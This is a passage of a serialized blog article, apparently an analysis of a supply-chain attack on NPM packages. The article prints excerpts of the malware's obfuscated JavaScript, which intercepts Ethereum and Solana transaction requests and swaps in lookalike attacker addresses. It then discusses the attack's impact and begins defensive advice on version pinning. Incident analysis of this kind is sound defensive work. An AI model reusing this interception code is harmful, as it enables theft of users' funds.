type":26,"value":32284},{"type":21,"tag":85,"props":98274,"children":98275},{"style":114},[98276],{"type":26,"value":2535},{"type":21,"tag":85,"props":98278,"children":98279},{"class":87,"line":160},[98280,98284,98288],{"type":21,"tag":85,"props":98281,"children":98282},{"style":102},[98283],{"type":26,"value":2206},{"type":21,"tag":85,"props":98285,"children":98286},{"style":120},[98287],{"type":26,"value":15523},{"type":21,"tag":85,"props":98289,"children":98290},{"style":114},[98291],{"type":26,"value":2535},{"type":21,"tag":85,"props":98293,"children":98294},{"class":87,"line":185},[98295,98299,98303,98308,98312,98316,98320,98325],{"type":21,"tag":85,"props":98296,"children":98297},{"style":2885},[98298],{"type":26,"value":31839},{"type":21,"tag":85,"props":98300,"children":98301},{"style":114},[98302],{"type":26,"value":717},{"type":21,"tag":85,"props":98304,"children":98305},{"style":120},[98306],{"type":26,"value":98307},"contentType",{"type":21,"tag":85,"props":98309,"children":98310},{"style":114},[98311],{"type":26,"value":73},{"type":21,"tag":85,"props":98313,"children":98314},{"style":1021},[98315],{"type":26,"value":35628},{"type":21,"tag":85,"props":98317,"children":98318},{"style":114},[98319],{"type":26,"value":1439},{"type":21,"tag":85,"props":98321,"children":98322},{"style":5026},[98323],{"type":26,"value":98324},"'application/json'",{"type":21,"tag":85,"props":98326,"children":98327},{"style":114},[98328],{"type":26,"value":35641},{"type":21,"tag":85,"props":98330,"children":98331},{"class":87,"line":501},[98332,98336,98340,98344,98348,98352,98356,98360,98364],{"type":21,"tag":85,"props":98333,"children":98334},{"style":120},[98335],{"type":26,"value":43682},{"type":21,"tag":85,"props":98337,"children":98338},{"style":169},[98339],{"type":26,"value":1941},{"type":21,"tag":85,"props":98341,"children":98342},{"style":2885},[98343],{"type":26,"value":36659},{"type":21,"tag":85,"props":98345,"children":98346},{"style":120},[98347],{"type":26,"value":98169},{"type":21,"tag":85,"props":98349,"children":98350},{"style":114},[98351],{"type":26,"value":73},{"type":21,"tag":85,"props":98353,"children":98354},{"style":1021},[98355],{"type":26,"value":15839},{"type":21,"tag":85,"props":98357,"children":98358},{"style":114},[98359],{"type":26,"value":30612},{"type":21,"tag":85,"props":98361,"children":98362},{"style":1021},[98363],{"type":26,"value":34444},{"type":21,"tag":85,"props":98365,"children":98366},{"style":114},[98367],{"type":26,"value":4437},{"type":21,"tag":85,"props":98369,"children":98370},{"class":87,"line":697},[98371,98375,98379],{"type":21,"tag":85,"props":98372,"children":98373},{"style":114},[98374],{"type":26,"value":31913},{"type":21,"tag":85,"props":98376,"children":98377},{"style":2885},[98378],{"type":26,"value":4086},{"type":21,"tag":85,"props":98380,"children":98381},{"style":114},[98382],{"type":26,"value":148},{"type":21,"tag":85,"props":98384,"children":98385},{"class":87,"line":706},[98386,98390,98394,98398,98402,98406,98410,98414,98418],{"type":21,"tag":85,"props":98387,"children":98388},{"style":120},[98389],{"type":26,"value":43682},{"type":21,"tag":85,"props":98391,"children":98392},{"style":169},[98393],{"type":26,"value":1941},{"type":21,"tag":85,"props":98395,"children":98396},{"style":2885},[98397],{"type":26,"value":36659},{"type":21,"tag":85,"props":98399,"children":98400},{"style":120},[98401],{"type":26,"value":98169},{"type":21,"tag":85,"props":98403,"children":98404},{"style":114},[98405],{"type":26,"value":73},{"type":21,"tag":85,"props":98407,"children":98408},{"style":1021},[98409],{"type":26,"value":15839},{"type":21,"tag":85,"props":98411,"children":98412},{"style":114},[98413],{"type":26,"value":30612},{"type":21,"tag":85,"props":98415,"children":98416},{"style":1021},[98417],{"type":26,"value":26},{"type":21,"tag":85,"props":98419,"children":98420},{"style":114},[98421],{"type":26,"value":4437},{"type":21,"tag":85,"props":98423,"children":98424},{"class":87,"line":1100},[98425],{"type":21,"tag":85,"props":98426,"children":98427},{"style":114},[98428],{"type":26,"value":191},{"type":21,"tag":85,"props":98430,"children":98431},{"class":87,"line":1339},[98432,98436,98441,98445,98450,98454,98458],{"type":21,"tag":85,"props":98433,"children":98434},{"style":102},[98435],{"type":26,"value":36636},{"type":21,"tag":85,"props":98437,"children":98438},{"style":120},[98439],{"type":26,"value":98440}," processedData",{"type":21,"tag":85,"props":98442,"children":98443},{"style":169},[98444],{"type":26,"value":1941},{"type":21,"tag":85,"props":98446,"children":98447},{"style":1021},[98448],{"type":26,"value":98449}," replaceAddresses",{"type":21,"tag":85,"props":98451,"children":98452},{"style":114},[98453],{"type":26,"value":1439},{"type":21,"tag":85,"props":98455,"children":98456},{"style":120},[98457],{"type":26,"value":4469},{"type":21,"tag":85,"props":98459,"children":98460},{"style":114},[98461],{"type":26,"value":777},{"type":21,"tag":85,"props":98463,"children":98464},{"class":87,"line":1348},[98465,98469,98474],{"type":21,"tag":85,"props":98466,"children":98467},{"style":102},[98468],{"type":26,"value":36636},{"type":21,"tag":85,"props":98470,"children":98471},{"style":120},[98472],{"type":26,"value":98473}," finalResponseText",{"type":21,"tag":85,"props":98475,"children":98476},{"style":169},[98477],{"type":26,"value":36303},{"type":21,"tag":85,"props":98479,"children":98480},{"class":87,"line":1386},[98481,98486,98490,98494,98499,98504,98508,98512,98516,98520,98524,98528,98533],{"type":21,"tag":85,"props":98482,"children":98483},{"style":102},[98484],{"type":26,"value":98485},"    typeof",{"type":21,"tag":85,"props":98487,"children":98488},{"style":120},[98489],{"type":26,"value":98440},{"type":21,"tag":85,"props":98491,"children":98492},{"style":169},[98493],{"type":26,"value":31867},{"type":21,"tag":85,"props":98495,"children":98496},{"style":5026},[98497],{"type":26,"value":98498}," 'string'",{"type":21,"tag":85,"props":98500,"children":98501},{"style":169},[98502],{"type":26,"value":98503}," ?",{"type":21,"tag":85,"props":98505,"children":98506},{"style":120},[98507],{"type":26,"value":98440},{"type":21,"tag":85,"props":98509,"children":98510},{"style":169},[98511],{"type":26,"value":35563},{"type":21,"tag":85,"props":98513,"children":98514},{"style":120},[98515],{"type":26,"value":37976},{"type":21,"tag":85,"props":98517,"children":98518},{"style":114},[98519],{"type":26,"value":73},{"type":21,"tag":85,"props":98521,"children":98522},{"style":1021},[98523],{"type":26,"value":39681},{"type":21,"tag":85,"props":98525,"children":98526},{"style":114},[98527],{"type":26,"value":1439},{"type":21,"tag":85,"props":98529,"children":98530},{"style":120},[98531],{"type":26,"value":98532},"processedData",{"type":21,"tag":85,"props":98534,"children":98535},{"style":114},[98536],{"type":26,"value":777},{"type":21,"tag":85,"props":98538,"children":98539},{"class":87,"line":1394},[98540,98544,98549,98553,98557,98562,98566,98571],{"type":21,"tag":85,"props":98541,"children":98542},{"style":102},[98543],{"type":26,"value":36636},{"type":21,"tag":85,"props":98545,"children":98546},{"style":120},[98547],{"type":26,"value":98548}," finalResponse",{"type":21,"tag":85,"props":98550,"children":98551},{"style":169},[98552],{"type":26,"value":1941},{"type":21,"tag":85,"props":98554,"children":98555},{"style":102},[98556],{"type":26,"value":32378},{"type":21,"tag":85,"props":98558,"children":98559},{"style":1021},[98560],{"type":26,"value":98561}," Response",{"type":21,"tag":85,"props":98563,"children":98564},{"style":114},[98565],{"type":26,"value":1439},{"type":21,"tag":85,"props":98567,"children":98568},{"style":120},[98569],{"type":26,"value":98570},"finalResponseText",{"type":21,"tag":85,"props":98572,"children":98573},{"style":114},[98574],{"type":26,"value":49337},{"type":21,"tag":85,"props":98576,"children":98577},{"class":87,"line":1402},[98578,98583,98587,98591,98596],{"type":21,"tag":85,"props":98579,"children":98580},{"style":120},[98581],{"type":26,"value":98582},"    status:",{"type":21,"tag":85,"props":98584,"children":98585},{"style":120},[98586],{"type":26,"value":98169},{"type":21,"tag":85,"props":98588,"children":98589},{"style":114},[98590],{"type":26,"value":73},{"type":21,"tag":85,"props":98592,"children":98593},{"style":120},[98594],{"type":26,"value":98595},"status",{"type":21,"tag":85,"props":98597,"children":98598},{"style":114},[98599],{"type":26,"value":182},{"type":21,"tag":85,"props":98601,"children":98602},{"class":87,"line":3145},[98603,98608,98612,98616,98621],{"type":21,"tag":85,"props":98604,"children":98605},{"style":120},[98606],{"type":26,"value":98607},"    statusText:",{"type":21,"tag":85,"props":98609,"children":98610},{"style":120},[98611],{"type":26,"value":98169},{"type":21,"tag":85,"props":98613,"children":98614},{"style":114},[98615],{"type":26,"value":73},{"type":21,"tag":85,"props":98617,"children":98618},{"style":120},[98619],{"type":26,"value":98620},"statusText",{"type":21,"tag":85,"props":98622,"children":98623},{"style":114},[98624],{"type":26,"value":182},{"type":21,"tag":85,"props":98626,"children":98627},{"class":87,"line":3246},[98628,98633,98637,98641,98645],{"type":21,"tag":85,"props":98629,"children":98630},{"style":120},[98631],{"type":26,"value":98632},"    headers:",{"type":21,"tag":85,"props":98634,"children":98635},{"style":120},[98636],{"type":26,"value":98169},{"type":21,"tag":85,"props":98638,"children":98639},{"style":114},[98640],{"type":26,"value":73},{"type":21,"tag":85,"props":98642,"children":98643},{"style":120},[98644],{"type":26,"value":98243},{"type":21,"tag":85,"props":98646,"children":98647},{"style":114},[98648],{"type":26,"value":182},{"type":21,"tag":85,"props":98650,"children":98651},{"class":87,"line":3255},[98652],{"type":21,"tag":85,"props":98653,"children":98654},{"style":114},[98655],{"type":26,"value":98656},"  });\n",{"type":21,"tag":85,"props":98658,"children":98659},{"class":87,"line":3286},[98660,98664,98668],{"type":21,"tag":85,"props":98661,"children":98662},{"style":2885},[98663],{"type":26,"value":39647},{"type":21,"tag":85,"props":98665,"children":98666},{"style":120},[98667],{"type":26,"value":98548},{"type":21,"tag":85,"props":98669,"children":98670},{"style":114},[98671],{"type":26,"value":2535},{"type":21,"tag":85,"props":98673,"children":98674},{"class":87,"line":3295},[98675],{"type":21,"tag":85,"props":98676,"children":98677},{"style":114},[98678],{"type":26,"value":16998},{"type":21,"tag":841,"props":98680,"children":98681},{"start":151},[98682],{"type":21,"tag":845,"props":98683,"children":98684},{},[98685],{"type":26,"value":98686},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":21,"tag":75,"props":98688,"children":98690},{"code":98689,"language":31810,"meta":7,"className":31808,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[98691],{"type":21,"tag":66,"props":98692,"children":98693},{"__ignoreMap":7},[98694,98773,98784,98841,98881,98906,98921,98932,98966,98999,99018,99045,99053,99064,99104,99133,99161,99168,99208,99251,99295,99310,99349,99356,99380,99387],{"type":21,"tag":85,"props":98695,"children":98696},{"class":87,"line":88},[98697,98701,98705,98710,98714,98718,98722,98727,98731,98736,98740,98745,98749,98753,98757,98761,98765,98769],{"type":21,"tag":85,"props":98698,"children":98699},{"style":2885},[98700],{"type":26,"value":15999},{"type":21,"tag":85,"props":98702,"children":98703},{"style":114},[98704],{"type":26,"value":717},{"type":21,"tag":85,"props":98706,"children":98707},{"style":120},[98708],{"type":26,"value":98709},"_0x2c3d7e",{"type":21,"tag":85,"props":98711,"children":98712},{"style":114},[98713],{"type":26,"value":73},{"type":21,"tag":85,"props":98715,"children":98716},{"style":120},[98717],{"type":26,"value":38761},{"type":21,"tag":85,"props":98719,"children":98720},{"style":169},[98721],{"type":26,"value":31867},{"type":21,"tag":85,"props":98723,"children":98724},{"style":5026},[98725],{"type":26,"value":98726}," 'eth_sendTransaction'",{"type":21,"tag":85,"props":98728,"children":98729},{"style":169},[98730],{"type":26,"value":14603},{"type":21,"tag":85,"props":98732,"children":98733},{"style":120},[98734],{"type":26,"value":98735}," _0x2c3d7e",{"type":21,"tag":85,"props":98737,"children":98738},{"style":114},[98739],{"type":26,"value":73},{"type":21,"tag":85,"props":98741,"children":98742},{"style":120},[98743],{"type":26,"value":98744},"params",{"type":21,"tag":85,"props":98746,"children":98747},{"style":169},[98748],{"type":26,"value":14603},{"type":21,"tag":85,"props":98750,"children":98751},{"style":120},[98752],{"type":26,"value":98735},{"type":21,"tag":85,"props":98754,"children":98755},{"style":114},[98756],{"type":26,"value":73},{"type":21,"tag":85,"props":98758,"children":98759},{"style":120},[98760],{"type":26,"value":98744},{"type":21,"tag":85,"props":98762,"children":98763},{"style":114},[98764],{"type":26,"value":3016},{"type":21,"tag":85,"props":98766,"children":98767},{"style":2285},[98768],{"type":26,"value":4789},{"type":21,"tag":85,"props":98770,"children":98771},{"style":114},[98772],{"type":26,"value":41073},{"type":21,"tag":85,"props":98774,"children":98775},{"class":87,"line":98},[98776,98780],{"type":21,"tag":85,"props":98777,"children":98778},{"style":2885},[98779],{"type":26,"value":97812},{"type":21,"tag":85,"props":98781,"children":98782},{"style":114},[98783],{"type":26,"value":148},{"type":21,"tag":85,"props":98785,"children":98786},{"class":87,"line":151},[98787,98791,98796,98800,98805,98809,98813,98817,98821,98825,98829,98833,98837],{"type":21,"tag":85,"props":98788,"children":98789},{"style":102},[98790],{"type":26,"value":52124},{"type":21,"tag":85,"props":98792,"children":98793},{"style":120},[98794],{"type":26,"value":98795}," _0x39ad21",{"type":21,"tag":85,"props":98797,"children":98798},{"style":169},[98799],{"type":26,"value":1941},{"type":21,"tag":85,"props":98801,"children":98802},{"style":1021},[98803],{"type":26,"value":98804}," _0x1089ae",{"type":21,"tag":85,"props":98806,"children":98807},{"style":114},[98808],{"type":26,"value":1439},{"type":21,"tag":85,"props":98810,"children":98811},{"style":120},[98812],{"type":26,"value":98709},{"type":21,"tag":85,"props":98814,"children":98815},{"style":114},[98816],{"type":26,"value":73},{"type":21,"tag":85,"props":98818,"children":98819},{"style":120},[98820],{"type":26,"value":98744},{"type":21,"tag":85,"props":98822,"children":98823},{"style":114},[98824],{"type":26,"value":3016},{"type":21,"tag":85,"props":98826,"children":98827},{"style":2285},[98828],{"type":26,"value":4789},{"type":21,"tag":85,"props":98830,"children":98831},{"style":114},[98832],{"type":26,"value":23489},{"type":21,"tag":85,"props":98834,"children":98835},{"style":102},[98836],{"type":26,"value":4760},{"type":21,"tag":85,"props":98838,"children":98839},{"style":114},[98840],{"type":26,"value":777},{"type":21,"tag":85,"props":98842,"children":98843},{"class":87,"line":160},[98844,98849,98853,98857,98861,98865,98869,98873,98877],{"type":21,"tag":85,"props":98845,"children":98846},{"style":120},[98847],{"type":26,"value":98848},"    _0x2c3d7e",{"type":21,"tag":85,"props":98850,"children":98851},{"style":114},[98852],{"type":26,"value":73},{"type":21,"tag":85,"props":98854,"children":98855},{"style":120},[98856],{"type":26,"value":98744},{"type":21,"tag":85,"props":98858,"children":98859},{"style":114},[98860],{"type":26,"value":3016},{"type":21,"tag":85,"props":98862,"children":98863},{"style":2285},[98864],{"type":26,"value":4789},{"type":21,"tag":85,"props":98866,"children":98867},{"style":114},[98868],{"type":26,"value":3026},{"type":21,"tag":85,"props":98870,"children":98871},{"style":169},[98872],{"type":26,"value":741},{"type":21,"tag":85,"props":98874,"children":98875},{"style":120},[98876],{"type":26,"value":98795},{"type":21,"tag":85,"props":98878,"children":98879},{"style":114},[98880],{"type":26,"value":2535},{"type":21,"tag":85,"props":98882,"children":98883},{"class":87,"line":185},[98884,98888,98892,98896,98901],{"type":21,"tag":85,"props":98885,"children":98886},{"style":114},[98887],{"type":26,"value":31913},{"type":21,"tag":85,"props":98889,"children":98890},{"style":2885},[98891],{"type":26,"value":48866},{"type":21,"tag":85,"props":98893,"children":98894},{"style":114},[98895],{"type":26,"value":717},{"type":21,"tag":85,"props":98897,"children":98898},{"style":120},[98899],{"type":26,"value":98900},"_0x226343",{"type":21,"tag":85,"props":98902,"children":98903},{"style":114},[98904],{"type":26,"value":98905},") {}\n",{"type":21,"tag":85,"props":98907,"children":98908},{"class":87,"line":501},[98909,98913,98917],{"type":21,"tag":85,"props":98910,"children":98911},{"style":114},[98912],{"type":26,"value":47328},{"type":21,"tag":85,"props":98914,"children":98915},{"style":2885},[98916],{"type":26,"value":4086},{"type":21,"tag":85,"props":98918,"children":98919},{"style":114},[98920],{"type":26,"value":148},{"type":21,"tag":85,"props":98922,"children":98923},{"class":87,"line":697},[98924,98928],{"type":21,"tag":85,"props":98925,"children":98926},{"style":2885},[98927],{"type":26,"value":31839},{"type":21,"tag":85,"props":98929,"children":98930},{"style":114},[98931],{"type":26,"value":79028},{"type":21,"tag":85,"props":98933,"children":98934},{"class":87,"line":706},[98935,98940,98944,98948,98952,98956,98961],{"type":21,"tag":85,"props":98936,"children":98937},{"style":114},[98938],{"type":26,"value":98939},"    (",{"type":21,"tag":85,"props":98941,"children":98942},{"style":120},[98943],{"type":26,"value":98709},{"type":21,"tag":85,"props":98945,"children":98946},{"style":114},[98947],{"type":26,"value":73},{"type":21,"tag":85,"props":98949,"children":98950},{"style":120},[98951],{"type":26,"value":38761},{"type":21,"tag":85,"props":98953,"children":98954},{"style":169},[98955],{"type":26,"value":31867},{"type":21,"tag":85,"props":98957,"children":98958},{"style":5026},[98959],{"type":26,"value":98960}," 'solana_signTransaction'",{"type":21,"tag":85,"props":98962,"children":98963},{"style":169},[98964],{"type":26,"value":98965}," ||\n",{"type":21,"tag":85,"props":98967,"children":98968},{"class":87,"line":1100},[98969,98974,98978,98982,98986,98991,98995],{"type":21,"tag":85,"props":98970,"children":98971},{"style":120},[98972],{"type":26,"value":98973},"      _0x2c3d7e",{"type":21,"tag":85,"props":98975,"children":98976},{"style":114},[98977],{"type":26,"value":73},{"type":21,"tag":85,"props":98979,"children":98980},{"style":120},[98981],{"type":26,"value":38761},{"type":21,"tag":85,"props":98983,"children":98984},{"style":169},[98985],{"type":26,"value":31867},{"type":21,"tag":85,"props":98987,"children":98988},{"style":5026},[98989],{"type":26,"value":98990}," 'solana_signAndSendTransaction'",{"type":21,"tag":85,"props":98992,"children":98993},{"style":114},[98994],{"type":26,"value":736},{"type":21,"tag":85,"props":98996,"children":98997},{"style":169},[98998],{"type":26,"value":84277},{"type":21,"tag":85,"props":99000,"children":99001},{"class":87,"line":1339},[99002,99006,99010,99014],{"type":21,"tag":85,"props":99003,"children":99004},{"style":120},[99005],{"type":26,"value":98848},{"type":21,"tag":85,"props":99007,"children":99008},{"style":114},[99009],{"type":26,"value":73},{"type":21,"tag":85,"props":99011,"children":99012},{"style":120},[99013],{"type":26,"value":98744},{"type":21,"tag":85,"props":99015,"children":99016},{"style":169},[99017],{"type":26,"value":53140},{"type":21,"tag":85,"props":99019,"children":99020},{"class":87,"line":1348},[99021,99025,99029,99033,99037,99041],{"type":21,"tag":85,"props":99022,"children":99023},{"style":120},[99024],{"type":26,"value":98848},{"type":21,"tag":85,"props":99026,"children":99027},{"style":114},[99028],{"type":26,"value":73},{"type":21,"tag":85,"props":99030,"children":99031},{"style":120},[99032],{"type":26,"value":98744},{"type":21,"tag":85,"props":99034,"children":99035},{"style":114},[99036],{"type":26,"value":3016},{"type":21,"tag":85,"props":99038,"children":99039},{"style":2285},[99040],{"type":26,"value":4789},{"type":21,"tag":85,"props":99042,"children":99043},{"style":114},[99044],{"type":26,"value":12189},{"type":21,"tag":85,"props":99046,"children":99047},{"class":87,"line":1386},[99048],{"type":21,"tag":85,"props":99049,"children":99050},{"style":114},[99051],{"type":26,"value":99052},"  ) {\n",{"type":21,"tag":85,"props":99054,"children":99055},{"class":87,"line":1394},[99056,99060],{"type":21,"tag":85,"props":99057,"children":99058},{"style":2885},[99059],{"type":26,"value":70442},{"type":21,"tag":85,"props":99061,"children":99062},{"style":114},[99063],{"type":26,"value":148},{"type":21,"tag":85,"props":99065,"children":99066},{"class":87,"line":1402},[99067,99071,99076,99080,99084,99088,99092,99096,99100],{"type":21,"tag":85,"props":99068,"children":99069},{"style":102},[99070],{"type":26,"value":2429},{"type":21,"tag":85,"props":99072,"children":99073},{"style":120},[99074],{"type":26,"value":99075}," _0x5ad975",{"type":21,"tag":85,"props":99077,"children":99078},{"style":169},[99079],{"type":26,"value":1941},{"type":21,"tag":85,"props":99081,"children":99082},{"style":120},[99083],{"type":26,"value":98735},{"type":21,"tag":85,"props":99085,"children":99086},{"style":114},[99087],{"type":26,"value":73},{"type":21,"tag":85,"props":99089,"children":99090},{"style":120},[99091],{"type":26,"value":98744},{"type":21,"tag":85,"props":99093,"children":99094},{"style":114},[99095],{"type":26,"value":3016},{"type":21,"tag":85,"props":99097,"children":99098},{"style":2285},[99099],{"type":26,"value":4789},{"type":21,"tag":85,"props":99101,"children":99102},{"style":114},[99103],{"type":26,"value":32019},{"type":21,"tag":85,"props":99105,"children":99106},{"class":87,"line":3145},[99107,99111,99115,99120,99124,99129],{"type":21,"tag":85,"props":99108,"children":99109},{"style":2885},[99110],{"type":26,"value":39735},{"type":21,"tag":85,"props":99112,"children":99113},{"style":114},[99114],{"type":26,"value":717},{"type":21,"tag":85,"props":99116,"children":99117},{"style":120},[99118],{"type":26,"value":99119},"_0x5ad975",{"type":21,"tag":85,"props":99121,"children":99122},{"style":114},[99123],{"type":26,"value":73},{"type":21,"tag":85,"props":99125,"children":99126},{"style":120},[99127],{"type":26,"value":99128},"transaction",{"type":21,"tag":85,"props":99130,"children":99131},{"style":114},[99132],{"type":26,"value":15222},{"type":21,"tag":85,"props":99134,"children":99135},{"class":87,"line":3246},[99136,99141,99145,99149,99153,99157],{"type":21,"tag":85,"props":99137,"children":99138},{"style":120},[99139],{"type":26,"value":99140},"        _0x5ad975",{"type":21,"tag":85,"props":99142,"children":99143},{"style":169},[99144],{"type":26,"value":1941},{"type":21,"tag":85,"props":99146,"children":99147},{"style":120},[99148],{"type":26,"value":99075},{"type":21,"tag":85,"props":99150,"children":99151},{"style":114},[99152],{"type":26,"value":73},{"type":21,"tag":85,"props":99154,"children":99155},{"style":120},[99156],{"type":26,"value":99128},{"type":21,"tag":85,"props":99158,"children":99159},{"style":114},[99160],{"type":26,"value":2535},{"type":21,"tag":85,"props":99162,"children":99163},{"class":87,"line":3255},[99164],{"type":21,"tag":85,"props":99165,"children":99166},{"style":114},[99167],{"type":26,"value":13081},{"type":21,"tag":85,"props":99169,"children":99170},{"class":87,"line":3286},[99171,99175,99180,99184,99188,99192,99196,99200,99204],{"type":21,"tag":85,"props":99172,"children":99173},{"style":102},[99174],{"type":26,"value":31992},{"type":21,"tag":85,"props":99176,"children":99177},{"style":120},[99178],{"type":26,"value":99179}," _0x5dbe63",{"type":21,"tag":85,"props":99181,"children":99182},{"style":169},[99183],{"type":26,"value":1941},{"type":21,"tag":85,"props":99185,"children":99186},{"style":1021},[99187],{"type":26,"value":98804},{"type":21,"tag":85,"props":99189,"children":99190},{"style":114},[99191],{"type":26,"value":1439},{"type":21,"tag":85,"props":99193,"children":99194},{"style":120},[99195],{"type":26,"value":99119},{"type":21,"tag":85,"props":99197,"children":99198},{"style":114},[99199],{"type":26,"value":256},{"type":21,"tag":85,"props":99201,"children":99202},{"style":102},[99203],{"type":26,"value":2530},{"type":21,"tag":85,"props":99205,"children":99206},{"style":114},[99207],{"type":26,"value":777},{"type":21,"tag":85,"props":99209,"children":99210},{"class":87,"line":3295},[99211,99215,99219,99223,99227,99231,99235,99239,99243,99247],{"type":21,"tag":85,"props":99212,"children":99213},{"style":2885},[99214],{"type":26,"value":39735},{"type":21,"tag":85,"props":99216,"children":99217},{"style":114},[99218],{"type":26,"value":717},{"type":21,"tag":85,"props":99220,"children":99221},{"style":120},[99222],{"type":26,"value":98709},{"type":21,"tag":85,"props":99224,"children":99225},{"style":114},[99226],{"type":26,"value":73},{"type":21,"tag":85,"props":99228,"children":99229},{"style":120},[99230],{"type":26,"value":98744},{"type":21,"tag":85,"props":99232,"children":99233},{"style":114},[99234],{"type":26,"value":3016},{"type":21,"tag":85,"props":99236,"children":99237},{"style":2285},[99238],{"type":26,"value":4789},{"type":21,"tag":85,"props":99240,"children":99241},{"style":114},[99242],{"type":26,"value":50804},{"type":21,"tag":85,"props":99244,"children":99245},{"style":120},[99246],{"type":26,"value":99128},{"type":21,"tag":85,"props":99248,"children":99249},{"style":114},[99250],{"type":26,"value":15222},{"type":21,"tag":85,"props":99252,"children":99253},{"class":87,"line":3308},[99254,99259,99263,99267,99271,99275,99279,99283,99287,99291],{"type":21,"tag":85,"props":99255,"children":99256},{"style":120},[99257],{"type":26,"value":99258},"        _0x2c3d7e",{"type":21,"tag":85,"props":99260,"children":99261},{"style":114},[99262],{"type":26,"value":73},{"type":21,"tag":85,"props":99264,"children":99265},{"style":120},[99266],{"type":26,"value":98744},{"type":21,"tag":85,"props":99268,"children":99269},{"style":114},[99270],{"type":26,"value":3016},{"type":21,"tag":85,"props":99272,"children":99273},{"style":2285},[99274],{"type":26,"value":4789},{"type":21,"tag":85,"props":99276,"children":99277},{"style":114},[99278],{"type":26,"value":50804},{"type":21,"tag":85,"props":99280,"children":99281},{"style":120},[99282],{"type":26,"value":99128},{"type":21,"tag":85,"props":99284,"children":99285},{"style":169},[99286],{"type":26,"value":1941},{"type":21,"tag":85,"props":99288,"children":99289},{"style":120},[99290],{"type":26,"value":99179},{"type":21,"tag":85,"props":99292,"children":99293},{"style":114},[99294],{"type":26,"value":2535},{"type":21,"tag":85,"props":99296,"children":99297},{"class":87,"line":3333},[99298,99302,99306],{"type":21,"tag":85,"props":99299,"children":99300},{"style":114},[99301],{"type":26,"value":39388},{"type":21,"tag":85,"props":99303,"children":99304},{"style":2885},[99305],{"type":26,"value":4086},{"type":21,"tag":85,"props":99307,"children":99308},{"style":114},[99309],{"type":26,"value":148},{"type":21,"tag":85,"props":99311,"children":99312},{"class":87,"line":3369},[99313,99317,99321,99325,99329,99333,99337,99341,99345],{"type":21,"tag":85,"props":99314,"children":99315},{"style":120},[99316],{"type":26,"value":99258},{"type":21,"tag":85,"props":99318,"children":99319},{"style":114},[99320],{"type":26,"value":73},{"type":21,"tag":85,"props":99322,"children":99323},{"style":120},[99324],{"type":26,"value":98744},{"type":21,"tag":85,"props":99326,"children":99327},{"style":114},[99328],{"type":26,"value":3016},{"type":21,"tag":85,"props":99330,"children":99331},{"style":2285},[99332],{"type":26,"value":4789},{"type":21,"tag":85,"props":99334,"children":99335},{"style":114},[99336],{"type":26,"value":3026},{"type":21,"tag":85,"props":99338,"children":99339},{"style":169},[99340],{"type":26,"value":741},{"type":21,"tag":85,"props":99342,"children":99343},{"style":120},[99344],{"type":26,"value":99179},{"type":21,"tag":85,"props":99346,"children":99347},{"style":114},[99348],{"type":26,"value":2535},{"type":21,"tag":85,"props":99350,"children":99351},{"class":87,"line":3377},[99352],{"type":21,"tag":85,"props":99353,"children":99354},{"style":114},[99355],{"type":26,"value":13081},{"type":21,"tag":85,"props":99357,"children":99358},{"class":87,"line":3386},[99359,99363,99367,99371,99376],{"type":21,"tag":85,"props":99360,"children":99361},{"style":114},[99362],{"type":26,"value":16199},{"type":21,"tag":85,"props":99364,"children":99365},{"style":2885},[99366],{"type":26,"value":48866},{"type":21,"tag":85,"props":99368,"children":99369},{"style":114},[99370],{"type":26,"value":717},{"type":21,"tag":85,"props":99372,"children":99373},{"style":120},[99374],{"type":26,"value":99375},"_0x4b99fd",{"type":21,"tag":85,"props":99377,"children":99378},{"style":114},[99379],{"type":26,"value":98905},{"type":21,"tag":85,"props":99381,"children":99382},{"class":87,"line":3394},[99383],{"type":21,"tag":85,"props":99384,"children":99385},{"style":114},[99386],{"type":26,"value":191},{"type":21,"tag":85,"props":99388,"children":99389},{"class":87,"line":3410},[99390],{"type":21,"tag":85,"props":99391,"children":99392},{"style":114},[99393],{"type":26,"value":2671},{"type":21,"tag":10022,"props":99395,"children":99397},{"id":99396},"impact-of-the-attack",[99398],{"type":26,"value":99399},"Impact of the Attack",{"type":21,"tag":22,"props":99401,"children":99402},{},[99403],{"type":26,"value":99404},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":21,"tag":54,"props":99406,"children":99408},{"id":99407},"why-it-will-happen-again",[99409],{"type":26,"value":99410},"Why It Will Happen Again",{"type":21,"tag":22,"props":99412,"children":99413},{},[99414],{"type":26,"value":99415},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":21,"tag":22,"props":99417,"children":99418},{},[99419],{"type":26,"value":99420},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":21,"tag":54,"props":99422,"children":99424},{"id":99423},"what-developers-can-do",[99425],{"type":26,"value":99426},"What Developers Can Do",{"type":21,"tag":22,"props":99428,"children":99429},{},[99430],{"type":26,"value":99431},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":21,"tag":10022,"props":99433,"children":99435},{"id":99434},"_1-version-pinning-in-packagejson",[99436,99438],{"type":26,"value":99437},"1. Version pinning in 